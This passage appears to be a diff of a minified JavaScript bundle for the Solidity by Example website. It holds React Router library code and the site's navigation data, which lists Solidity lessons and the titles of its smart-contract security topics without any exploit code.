gd(s,a){let n=id(s);return a?n.map((l,p)=>p===n.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const cg=["post","put","patch","delete"];new Set(cg);const Ad=["get",...cg];new Set(Ad);/** + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function TI(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||TI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function UI(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let G=I(),h=G==null?null:G-i;i=G,o&&o({action:t,location:b.location,delta:h})}function j(G,h){t=oa.Push;let g=tc(b.location,G,h);i=I()+1;let C=Zo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(G,h){t=oa.Replace;let g=tc(b.location,G,h);i=I();let C=Zo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(G){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof G=="string"?G:ng(G);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(G){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,d),o=G,()=>{p.removeEventListener(ko,d),o=null}},createHref(G){return a(p,G)},createURL:m,encodeLocation(G){let h=m(G);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(G){return c.go(G)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function LI(s,a,n){return n===void 0&&(n="/"),_I(s,a,n,!1)}function _I(s,a,n,l){let p=typeof a=="string"?jn(a):a,e=eg(p.pathname||"/",n);if(e==null)return null;let c=lg(s);OI(c);let t=null;for(let o=0;t==null&&o{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Go=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Go)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Go(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a,n){let{routesMeta:l}=s,p={},e="/",c=[];for(let t=0;t{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function eg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===n.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const cg=["post","put","patch","delete"];new Set(cg);const Ad=["get",...cg];new Set(Ad);/** * React Router v6.26.1 * * Copyright (c) Remix Software Inc. @@ -55,7 +55,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(Rp),{matches:e}=W.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Fp(),I;if(a){var d;let B=typeof a=="string"?jn(a):a;o==="/"||(d=B.pathname)!=null&&d.startsWith(o)||P(!1),I=B}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let B=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(B.length).join("/")}let m=_I(s,{pathname:u}),b=Gd(m&&m.map(B=>Object.assign({},B,{params:Object.assign({},t,B.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(B.pathname).pathname:B.pathname]),pathnameBase:B.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(B.pathnameBase).pathname:B.pathnameBase])})),e,n,l);return a&&b?W.createElement(Np.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Zd=W.createElement(kd,null);class Wd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(An.Provider,{value:this.props.routeContext},W.createElement(tg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Bd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(An.Provider,{value:a},l)}function Gd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if(!n)return null;if(n.errors)s=n.matches;else if((e=l)!=null&&e.v7_partialHydration&&a.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id])!==void 0);I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,B=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(m=!0,B=null):i===j&&(m=!0,B=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=B:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Bd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var rg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(rg||{}),Cp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Cp||{});function fd(s){let a=W.useContext(ot);return a||P(!1),a}function Vd(s){let a=W.useContext(ud);return a||P(!1),a}function Yd(s){let a=W.useContext(An);return a||P(!1),a}function ig(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(tg),n=Vd(Cp.UseRouteError),l=ig(Cp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function vd(){let{router:s}=fd(rg.UseNavigateStable),a=ig(Cp.UseNavigateStable),n=W.useRef(!1);return og(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}function gg(s){P(!1)}function Rd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=W.useMemo(()=>{let B=eg(I,o);return B==null?null:{location:{pathname:B,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:W.createElement(Rp.Provider,{value:i},W.createElement(Np.Provider,{children:n,value:b}))}function Nd(s){let{children:a,location:n}=s;return bd(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(vp),{matches:e}=W.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Kp(),I;if(a){var d;let G=typeof a=="string"?jn(a):a;o==="/"||(d=G.pathname)!=null&&d.startsWith(o)||P(!1),I=G}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let G=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(G.length).join("/")}let m=LI(s,{pathname:u}),b=Bd(m&&m.map(G=>Object.assign({},G,{params:Object.assign({},t,G.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(G.pathname).pathname:G.pathname]),pathnameBase:G.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(G.pathnameBase).pathname:G.pathnameBase])})),e,n,l);return a&&b?W.createElement(Np.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Zd=W.createElement(kd,null);class Wd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(An.Provider,{value:this.props.routeContext},W.createElement(tg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Gd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(An.Provider,{value:a},l)}function Bd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if(!n)return null;if(n.errors)s=n.matches;else if((e=l)!=null&&e.v7_partialHydration&&a.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id])!==void 0);I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,G=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(m=!0,G=null):i===j&&(m=!0,G=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=G:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Gd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var rg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(rg||{}),Cp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Cp||{});function fd(s){let a=W.useContext(ot);return a||P(!1),a}function Vd(s){let a=W.useContext(ud);return a||P(!1),a}function Yd(s){let a=W.useContext(An);return a||P(!1),a}function ig(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(tg),n=Vd(Cp.UseRouteError),l=ig(Cp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Rd(){let{router:s}=fd(rg.UseNavigateStable),a=ig(Cp.UseNavigateStable),n=W.useRef(!1);return og(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}function gg(s){P(!1)}function vd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=W.useMemo(()=>{let G=eg(I,o);return G==null?null:{location:{pathname:G,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:W.createElement(vp.Provider,{value:i},W.createElement(Np.Provider,{children:n,value:b}))}function Nd(s){let{children:a,location:n}=s;return bd(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** * React Router DOM v6.26.1 * * Copyright (c) Remix Software Inc. @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Hd(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Fd="6";try{window.__reactRouterVersion=Fd}catch{}const Kd="startTransition",Go=Rg[Kd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=QI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Go?Go(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(Rd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var fo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(fo||(fo={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function Sd(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Fp(),p=W.useMemo(()=>Hd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=W.useCallback((t,o)=>{const i=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const xd="_component_nqcni_1",Jd="_sideNav_nqcni_6",zd="_main_nqcni_13",Dd="_children_nqcni_21",Xl={component:xd,sideNav:Jd,main:zd,children:Dd},Ed="_list_1ltry_1",Qd="_title_1ltry_6",Td="_listItem_1ltry_11",Ud="_listItemActive_1ltry_18",_d="_link_1ltry_26",xa={list:Ed,title:Qd,listItem:Td,listItemActive:Ud,link:_d},Ld=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Od=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"user-defined-value-types",title:"User Defined Value Types"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],Pd=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],$d=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External 